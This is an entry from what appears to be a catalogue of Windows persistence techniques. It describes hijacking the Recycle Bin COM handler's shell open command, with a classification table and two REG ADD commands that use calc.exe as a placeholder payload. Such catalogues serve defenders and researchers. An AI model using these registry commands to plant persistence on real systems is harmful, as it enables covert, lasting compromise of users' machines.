./ persistence-info.github.io

View on GitHub

Recycle Bin COM Extension Handler

Location:

>> `HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\`
>> `HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\`

Classification:

Criteria	Value
Permissions	Admin
Security context	User
Persistence type	Registry
Code type	EXE
Launch type	User initiated
Impact	Destructive
OS Version	All OS versions
Dependencies	OS only
Toolset	Scriptable

Description:

Adding the “open\command” subkey to the Recycle Bin CLSID and adding a new verb for the “shell” key will execute the value stored in the “\command” entry.

> 1. REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command” /ve /t REG_SZ /d “calc.exe” /f
> 2. REG ADD “HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command” /ve /t REG_SZ /d “calc.exe” /f

References:

>> https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/
>> https://gitlab.com/ORCA000/recyclebinpersistence

Credits:

>> @Hexacorn
>> Entry added by rootisareservedword

See also:

Remarks: